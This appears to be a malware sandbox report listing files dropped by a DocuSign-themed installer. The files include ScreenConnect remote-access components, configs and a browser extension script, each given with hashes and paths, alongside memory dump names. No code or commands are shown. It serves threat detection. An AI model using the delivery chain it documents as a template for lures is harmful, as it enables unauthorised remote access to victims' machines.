SHA512 61f74480d3471180f14e2171be6f5e33ab0a03a7a4837334695556a9484da1a862cc059969834d4950a038ec97f192805e5e718cd2a280aba675bdc9cee5d976
SSDEEP 3072:C0qfZ9r+hy+exmKhRts8o7SYbyqNDri8EBalnQt9RaBoAkaX2Ns:C0qfZ9r5msvoOGi8QQQbRwxmNs
TLSH
T126F3E02D6EDEC956CC0F61F96F29724BC50A4F0B818B648B624E881958F434E17E29FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

74833b41-4118-463d-b289-f727b52dcb47.tmp

Path C:\Users\Admin\AppData\Local\Temp\74833b41-4118-463d-b289-f727b52dcb47.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

app.msi

Path C:\Users\Admin\AppData\Local\Temp\DocuSign_a8736463\app.msi
Size 3.0MB
SHA256 15323a81e05cdf898a62d91a56d39457d44115767cbe5d0a9e9e9dbbeb73887d
MD5 84e67a16f596200b06afa9730ffba3e9
SHA1 b597614ce7ff90bf85e20063df3af23fe0154ebd
SHA512 877455de75555124568f18542dc11fbbab7c0705798384fa2046468a0123f51b9e47dbd60e896f0f58ff3fa8f656b577b461820916c78b66f87e4e6a7774e54c
SSDEEP 49152:brGLq7FVsLBe+1GVxrKlsul1gjGenGwfZVkVjOi8ifyXfKVzh3:brn/TYGVxzAUGBwRVkGuyXOl
TLSH
T16FE5232236E9853AE2F71B30AE3F81A1D93A7D605F20C54F6358141E5DB1A9097F273B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vc_redist.x64.exe

Path C:\Users\Admin\AppData\Local\Temp\DocuSign_a8736463\vc_redist.x64.exe
Size 24.4MB
SHA256 cc0ff0eb1dc3f5188ae6300faef32bf5beeba4bdd6e8e445a9184072096b713b
MD5 486f81facf798678c3244c7cf35a557f
SHA1 21ce0ee54bff57f69fafa741025bf2f15b356405
SHA512 e131b93acde5ffc76c19eb0784183a1e94dfa9fe06111a7830eae3ad8583895575dd4dca66aa70efddb243c95735a0105efcd3042b4b5ca445d3d8e8c39d957e
SSDEEP 786432:mjjpx5hYBug51eEdO41UnAyijgtUHFt9q4YYOQdV:kpx56Bu61eGv1pjg6pb
TLSH
T10A473332E0448026EBE61037A168F5206F7CF624A3649ABBD6CCED0D37B649717FB615
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fab20195-f381-4d2c-890f-129545465023.tmp

Path C:\Users\Admin\AppData\Local\Temp\fab20195-f381-4d2c-890f-129545465023.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir2348_1560246301\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI3004.tmp

Path C:\Windows\Installer\MSI3004.tmp
Size 1.0MB
SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
MD5 1e56938e8ce9167df1e44dfa6c7311e9
SHA1 9090e62e4ecf40d699dee0663c1c90e603167435
SHA512 029c824c650ccdb82ab2cfc0678f433ea2b1c25ebe0c98cbf03351af8ea37f97dd6e075a1cadd39652aecaacf7e5976c42ee4774cbceb2cf4b3cac52c578432b
SSDEEP 24576:QUUGGeuIGwfWav9kUuaFfEOi8ifyXfKVJS6hc9i:jGenGwfZVkVjOi8ifyXfKVzh9
TLSH
T14E35231232A18136F1E73B312D35A1B148FF39B169B5954EBB4E06258EF0BD09A78737
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Windows\Installer\MSI3004.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
TLSH
T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Windows\Installer\MSI3004.tmp-\ScreenConnect.Core.dll
Size 539KB
SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
MD5 d254a2107a0ede952aa99f5a8feb5a04
SHA1 322ddaf1cc80e5c392ae82ae9cb016cf0c5f01cf
SHA512 ca9083b303cab7b08874284b388b7bab74063b4a034e5c95b8b72777e4527df2c4102fd066a164d4937bb98f285549b199203481ed5340eafd538f5615163ce2
SSDEEP 6144:SfWyDky4hmlTnSnyXn/4ZNkVQVyRb9bniIzs8vvk6aMhCJqgfwyYeMxq/J1e5Qal:SfxkyQIGogZAQcb9jzsO6Mx9OF2
TLSH
T197C48EC133D4CB2BC5BF47BAF42056690770EC107509E79B1AB5D8A8ADA335A4EC06ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Windows\Installer\MSI3004.tmp-\ScreenConnect.InstallerActions.dll
Size 11KB
SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
MD5 678f8c1050d8c83ace22346aad84d150
SHA1 ddc437d1cbe5f0e229a998e07404271e4e68be26
SHA512 4e3e9b4a0cf4d1313dbe357ee4501e5d4481e307c6153bf96120e1a14f1f9e5ceb26410e55d6d54cf1386a41787148f3992c02bba5b189ce944131ed9194dc93
SSDEEP 192:/8/Qp6lCJuV3j7XtyVNamVNG1YZfCrMmbfHJ7kjvLqbuLd9NEFbEC/T:0/cBJanXt2NaheUrMmb/FkjvLqbuZrCr
TLSH
T1A432D50077DC673AE8BE0F78DAB762910A71EB64A011DF2E1CCC91569C367449EA07A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Windows\Installer\MSI3004.tmp-\ScreenConnect.Windows.dll
Size 1.6MB
SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
MD5 27d7995501d37a65912643493ec8f2c5
SHA1 3d3f37be1ff47568cf8b7ae3f28ceabbcdc1b009
SHA512 73751b468c82a2e77852932528946fdfbceae7cafc4175fd0d6d7d50771c78be4de0e916b226b0209beae067698a2355dfa656e3381f337778a5314a769f3057
SSDEEP 24576:yDtFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUTHs:yDtJkGYYpT0+TFiH7efP
TLSH
T1BA85BD41E2D364F5D46B047888BF571ABA743C040325CAFB97D4AE3A6D33BC09A36796
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI3834.tmp

Path C:\Windows\Installer\MSI3834.tmp
Size 202KB
SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
MD5 ba84dd4e0c1408828ccc1de09f585eda
SHA1 e8e10065d479f8f591b9885ea8487bc673301298
SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
TLSH
T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

24fevzgl.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\24fevzgl.newcfg
Size 557B
SHA256 7e92ecf7eda7f8d50ecc5a39c3a9c82af531de57aac68cda500e1b2752d50616
MD5 6154206fb2d1b669d2f1517c15a7defd
SHA1 1ada20ef8784bd6ce49d3a7f0606f70826265a8c
SHA512 ffa6b72a396aee552fb13debf4717298347b3d26a9cd9ae5537bc838bce579b08cbc723a6f1c62ca31736423f33e540c0a885a6d2c629c97fa98c956fe27a5c1
TLSH
T17FF024A53080AE4607A31E33C5124741EE722B9B0465209874AF62375F312DF07A31DE
MD5 SHA1 SHA512 TLSH

Submit Download

lytfu24z.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\lytfu24z.newcfg
Size 557B
SHA256 7c9ea3269e1d1286ecb1af5432bb9b4aa8c886fb685343e9e4c6f4dd5d2d5aea
MD5 59d3b3d03fe8e390b66bb076c1fcaf18
SHA1 fde9d3159595217b09aadd88d0f940d9e270dad7
SHA512 39b3377e68357c38432cf46854a53c59240727cf7d76cd2775ada7be8e708341b1610539b97a67802a078f7fa5abf9429977f8e1f4a353203069d226dfe72cc6
TLSH
T134F059A530C4AE5A07B31E33C5124741EE721B9B0129209874AF623B5F306DF07A31DE
MD5 SHA1 SHA512 TLSH

Submit Download

nvgzecwb.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\nvgzecwb.newcfg
Size 557B
SHA256 4b078e77dbeeb2fcf07b49d9d3e2148ea717b841e482ae7581824cd0e4827be0
MD5 27a17120fc624f60936ae5a16dcae105
SHA1 dc9f1ff68721d352ac2269e03d83209a2341a8fa
SHA512 7d65758bca50171a833968de2027d7b5df572a105c180f1364b1d0dbceeb5b876bdcf35556eb1665a84e26dbd9017c8ea1f07b36757593324e3c41d236826ddf
TLSH
T16CF059A630C0AE4607B31E33C5124741EE721B9B1125209874AF623B5F302DF07A31DF
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\user.config
Size 557B
SHA256 f691036d1991e86607b318840d877f97dd5444c54bcdc945fe5ea641248b1b76
MD5 cbfaeb0f3002325b131fb7b4f3dc2858
SHA1 922b5234842c675795f51b77cdd545c3dab37c3c
SHA512 3f6ca2ac68f053ece9733426a9ac817cd9090c9b785a15c0ac15e81cac1c097bf850a8d8d5bc956d1d5ae3f079624803668c07f6e4e1c21a6415a7f63b85871a
TLSH
T18DF059A530C0AE4607B31E33C5124741EE721B9B10252098B4AF62375F312DF07A31DF
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\user.config
Size 557B
SHA256 62cf7b9bb1f684a0cbba9199e80352e0c92839b72d25557f86d93aba0f43de38
MD5 61f2d6de08a779034e9634323b6045d5
SHA1 3e1329a656052540cfe59ba40f0ebd73480276c0
SHA512 0609c888d5aee17e58948d12e5d8d6421cf5403b3f29a50fa121b1edf9bd89599ba502ce624216f9dc865d60dfeb82f27768d850cdc5e89f62b253a47fb15a47
TLSH
T153F024A63080AE4607A31E33C5124741EE721B9B0025209874AF62375F302DF07A31DE
MD5 SHA1 SHA512 TLSH

Submit Download

yiaxu0qs.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\yiaxu0qs.newcfg
Size 557B
SHA256 21301dfb8654e25d293b247cfe465d44f83f813635a2659e07898d3bcabfacdf
MD5 09d1f104e7ef917070a0dee0b0269afa
SHA1 501e7096fa7a5b11eb69269087cae43eb4ea3895
SHA512 f5afc1e8d61f28ad549342b2b3bf0755a89781808d158911784aa8333c08aa99b5ce27c4d560d162ed4a8f86d6610e30510eac454b61376f15a0fd23c86740e1
TLSH
T15FF024A630C0AE4607A36E33C5124741EE721B9B0025209874AF62375F302DF07A31EE
MD5 SHA1 SHA512 TLSH

Submit Download

vc_redist.x64.exe

Path C:\Windows\Temp\{16AE01D8-91EC-457E-A5AF-C39B590069B6}\.cr\vc_redist.x64.exe
Size 670KB
SHA256 568c9ba533624084ea18f7a562b4aa2249ed4e41281524a061a0d0b1008cf6bd
MD5 bc9c8a6a42e8d3ea18f8da78d5031820
SHA1 07812a4b945364d04627363e46ab38de188281b3
SHA512 b583f41b8f9cbb2b04e4c7403b54241bf4c51caefdb0bbe9184202dc615f599b496d65f6d36984b75f9b9003289c0c13066dc1e6eb294f9139248595114b4f73
SSDEEP 12288:n3mgqnIZuYfCYqFet4CovkM7x61nE4rfDDIcbMZ3Mya:n3WnIZuMCxezot7MhbfDBMZ8ya
TLSH
T10DE49E32A5604033F7F10573B928A6303E7CE3282B51C9A9D7D4AD1D7EB4892A7F7256
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

logo.png

Path C:\Windows\Temp\{C4F99ED0-3FA4-4A59-8B98-F6B6AA855609}\.ba\logo.png
Size 1KB
SHA256 335a256d4779ec5dcf283d007fb56fd8211bbcaf47dcd70fe60ded6a112744ef
MD5 d6bd210f227442b3362493d046cea233
SHA1 ff286ac8370fc655aea0ef35e9cf0bfcb6d698de
SHA512 464aaab9e08de610ad34b97d4076e92dc04c2cdc6669f60bfc50f0f9ce5d71c31b8943bd84cee1a04fb9ab5bbed3442bd41d9cb21a0dd170ea97c463e1ce2b5b
TLSH
T1CF312CF34748B7A7D30581351471819AD242FFD8F9CE291E35CD5307664018115C75CF
MD5 SHA1 SHA512 TLSH

Submit Download

wixstdba.dll

Path C:\Windows\Temp\{C4F99ED0-3FA4-4A59-8B98-F6B6AA855609}\.ba\wixstdba.dll
Size 215KB
SHA256 e921f69b9fb4b5ad4691809d06896c5f1d655ab75e0ce94a372319c243c56d4e
MD5 f68f43f809840328f4e993a54b0d5e62
SHA1 01da48ce6c81df4835b4c2eca7e1d447be893d39
SHA512 a7a799ecf1784fb5e8cd7191bf78b510ff5b07db07363388d7b32ed21f4fddc09e34d1160113395f728c0f4e57d13768a0350dbdb207d9224337d2153dc791e1
SSDEEP 6144:K6EZdi6e93SuDeTKZxQfsRy26BqbUHYJe:K62i6eNSYeuZ2sRDK
TLSH
T15E24AF12B5D0907AEBFB19305939E5216DBDBA210FA0C9CE5348AD2B2E705C1DB36737
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/564-232-0x000000000CF60000-0x000000000D200000-memory.dmp

Download

memory/564-227-0x000000000CB50000-0x000000000CB70000-memory.dmp

Download

memory/564-42-0x000000000C5E0000-0x000000000C600000-memory.dmp

Download

memory/564-28-0x000000000A9D0000-0x000000000AA00000-memory.dmp

Download

memory/564-14-0x000000000B640000-0x000000000C280000-memory.dmp

Download

memory/564-10-0x000000000B640000-0x000000000C280000-memory.dmp

Download

memory/564-39-0x000000000C5E0000-0x000000000C600000-memory.dmp

Download

memory/564-24-0x0000000008840000-0x0000000008850000-memory.dmp

Download

memory/564-37-0x000000000C2B0000-0x000000000C2D0000-memory.dmp

Download

memory/564-15-0x00000000088C0000-0x0000000008910000-memory.dmp

Download

memory/564-9-0x0000000007A70000-0x0000000008670000-memory.dmp

Download

memory/564-32-0x000000000A9D0000-0x000000000AA00000-memory.dmp

Download

memory/564-19-0x00000000088C0000-0x0000000008910000-memory.dmp

Download

memory/564-231-0x000000000CB50000-0x000000000CB70000-memory.dmp

Download

memory/564-246-0x000000000CC50000-0x000000000CC90000-memory.dmp

Download

memory/564-251-0x000000000CC90000-0x000000000CCB0000-memory.dmp

Download

memory/564-33-0x000000000C2B0000-0x000000000C2D0000-memory.dmp

Download

memory/564-247-0x000000000CC90000-0x000000000CCB0000-memory.dmp

Download

memory/564-242-0x000000000CC50000-0x000000000CC90000-memory.dmp

Download

memory/564-241-0x000000000CC10000-0x000000000CC30000-memory.dmp

Download

memory/564-238-0x000000000CC10000-0x000000000CC30000-memory.dmp

Download

memory/564-236-0x000000000CF60000-0x000000000D200000-memory.dmp

Download

memory/564-20-0x0000000008840000-0x0000000008850000-memory.dmp

Download

memory/564-6-0x0000000007A70000-0x0000000008670000-memory.dmp

Download

memory/1672-224-0x0000000002F30000-0x0000000002F48000-memory.dmp

Download

memory/1672-225-0x0000000002FA0000-0x0000000002FE1000-memory.dmp

Download

memory/1672-220-0x000000001BEE0000-0x000000001BF6E000-memory.dmp

Download

memory/1672-219-0x0000000002F60000-0x0000000002F96000-memory.dmp

Download

memory/1672-221-0x000000001C120000-0x000000001C2CC000-memory.dmp

Download

memory/1672-216-0x0000000000EF0000-0x0000000000F88000-memory.dmp

Download

memory/1672-222-0x000000001C4D0000-0x000000001C656000-memory.dmp

Download

memory/1672-223-0x0000000002EF0000-0x0000000002F08000-memory.dmp

Download

memory/1872-203-0x0000000004200000-0x0000000004292000-memory.dmp

Download

memory/1872-207-0x00000000043E0000-0x00000000044B5000-memory.dmp

Download

memory/1872-205-0x0000000003F70000-0x0000000003FB1000-memory.dmp

Download

memory/1872-177-0x0000000003C70000-0x0000000003C88000-memory.dmp

Download

memory/1872-197-0x0000000003F30000-0x0000000003F66000-memory.dmp

Download

memory/1872-193-0x0000000003EE0000-0x0000000003F30000-memory.dmp

Download

memory/3964-125-0x0000000004D20000-0x0000000004D4E000-memory.dmp

Download

memory/3964-129-0x00000000029C0000-0x00000000029CA000-memory.dmp

Download

memory/3964-137-0x0000000005020000-0x00000000051CC000-memory.dmp

Download

memory/3964-133-0x0000000004DE0000-0x0000000004E6E000-memory.dmp

Download

memory/3964-138-0x0000000005780000-0x0000000005D24000-memory.dmp

Download